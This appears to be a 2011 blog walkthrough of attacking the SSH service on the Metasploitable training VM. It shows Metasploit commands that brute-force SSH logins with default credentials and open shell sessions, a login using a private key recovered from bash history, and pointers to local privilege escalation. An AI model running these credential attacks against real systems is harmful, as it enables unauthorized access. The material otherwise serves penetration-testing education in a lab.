Saturday, August 27, 2011

Metasploitable - Exploring SSH service



Call trans opt: received. 2-19-98 13:24:18 REC:Loc
Trace program: running

wake up, Neo...
the matrix has you
follow the white rabbit.
knock, knock, Neo.

                        (`.         ,-,
                        ` `.    ,;' /
                         `.  ,'/ .'
                          `. X /.'
                .-;--''--.._` ` (
              .'            /   `
             ,           ` '   Q '
             ,         ,   `._    \
          ,.|         '     `-.;_'
          :  . `  ;    `  ` --,.._;
           ' `    ,   )   .'
              `._ ,  '   /_
                 ; ,''-,;' ``-
                  ``-..__``--`




       =[ metasploit v4.0.1-dev [core:4.0 api:1.0]
+ -- --=[ 728 exploits - 372 auxiliary - 80 post
+ -- --=[ 227 payloads - 27 encoders - 8 nops
       =[ svn r13643 updated today (2011.08.26)

B. 22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

Time to explore SSH service on the target.
Let's start with service version scan using metasploit auxiliary module.
msf auxiliary(ssh_version) >
Module options (auxiliary/scanner/ssh/ssh_version):
set RHOSTS 172.72.5.143
run
[*] 172.72.5.143:22, SSH server version: SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
From exploring FTP service, we had already identified 4 user names - user, postgres, service and msfadmin. We should now try to brute force ssh passwords for these users.
Metasploit module --> auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set RHOSTS 172.72.5.143
RHOSTS => 172.72.5.143
msf auxiliary(ssh_login) > set USER_FILE /tmp/users
USER_FILE => /tmp/users
msf auxiliary(ssh_login) > set PASS_FILE /tmp/pass
PASS_FILE => /tmp/pass
msf auxiliary(ssh_login) > run
[*] 172.72.5.143:22 SSH - [05/20] - Trying: username: 'user' with password: 'user'
[*] Command shell session 2 opened (172.72.5.1:33210 -> 172.72.5.143:22) at 2011-08-25 03:59:56 +0530
[+] 172.72.5.143:22 SSH - [05/20] - Success: 'user':'user' 'uid=1001(user) gid=1001(user) groups=1001(user) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '[*] 172.72.5.143:22 SSH - [06/20] - Trying: username: 'msfadmin' with password: 'msfadmin'
[*] Command shell session 3 opened (172.72.5.1:58888 -> 172.72.5.143:22) at 2011-08-25 03:59:56 +0530
[+] 172.72.5.143:22 SSH - [06/20] - Success: 'msfadmin':'msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '[*] 172.72.5.143:22 SSH - [07/20] - Trying: username: 'postgres' with password: 'postgres'
[*] Command shell session 4 opened (172.72.5.1:56421 -> 172.72.5.143:22) at 2011-08-25 04:00:01 +0530
[+] 172.72.5.143:22 SSH - [07/20] - Success: 'postgres':'postgres' 'uid=108(postgres) gid=117(postgres) groups=114(ssl-cert),117(postgres) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '[*] 172.72.5.143:22 SSH - [08/20] - Trying: username: 'service' with password: 'service'
[*] Command shell session 5 opened (172.72.5.1:40998 -> 172.72.5.143:22) at 2011-08-25 04:00:02 +0530
[+] 172.72.5.143:22 SSH - [08/20] - Success: 'service':'service' 'uid=1002(service) gid=1002(service) groups=1002(service) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
Assuming in case the passwords followed best security practices and were not present in our dictionary files either, then what could have we done here to gain ssh access to target?

Remember, when we were exploring FTP service, we had noticed in .bash_history file, that user ssh key is an authorized key at the ssh server. So if public key authentication has been configured correctly, then 'msfadmin' should be able to ssh into the target directly using the private key. We will not need the password at all.
root@victor:tmp# cat bash_history-user 
ssh-keygen -t dsa
sudo cat ~/.ssh/id_dsa.pub >> /home/msfadmin/.ssh/authorized_keys
sudo -s
exit
The following command is used to successfully login with the private key:
ssh -i id_dsa msfadmin@172.72.5.143
Also, Metasploit has a module which automates and confirms this for us.
msf auxiliary(ssh_login_pubkey) > run
[*] 172.72.5.143:22 SSH - Testing Cleartext Keys
[*] 172.72.5.143:22 SSH - Trying 1 cleartext key per user.
[*] Command shell session 2 opened (172.72.5.1:44867 -> 172.72.5.143:22) at 2011-08-27 06:34:12 +0530
[+] 172.72.5.143:22 SSH - Success: 'msfadmin':'70:ff:0f:ff:a3:8e:39:18:d7:30:c1:30:02:bc:20:3c' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login_pubkey) >
Ideally, we will first attempt to remotely exploit the network service, SSH in this case. This is normally the approach, if SSH service version found on target has vulnerabilities and knowledge, skill to exploit is available. It will usually provide us with privileged access. Anyhow, in our scenario, it seems all we have are these 4 non-root user accounts. Never the less, we can move around in the file system, perform further enum, data collection etc. For attempting to raise local user privilege, get the target kernel version with a 'uname -a' and identify a local priv escalation exploit for the kernel - either in metasploit or from exploit-db. Also check out packetstorm / secunia, & Google.
In a pentest, though, it is recommended to use exploits that have been tested for 'legit-ness' - if I can phrase it that way - and performance. If taken from some random site over the internet and / or without carefully monitoring the behavior of the exploit in the lab, you may not be able to catch that quick call going out to some server in a rogue country or elsewhere, i.e. to say the exploit itself is backdoored. And you may not come to know of it unless you read the code, test it in lab, monitor it for connection attempts, file system changes & the likes. And running it in customer network may seriously compromise the org security. Another aspect is verifying the performance of an exploit. Many exploits hook into and utilize critical OS processes / files to leverage elevated access. It is a high possibility that a new, untested exploit code crashes the target server as soon as you run it. The damage can be controlled with as soon as a single reboot or can get as complicated as device failure & fresh install. Trust me, this happens at times & your customer will not be pleased, to say the least.


Next up --> Exploring SMTP service

No comments:

Post a Comment

Disclaimer

The views, information & opinions expressed in this blog are my own and do not reflect the views of my current or former employers or employees or colleagues.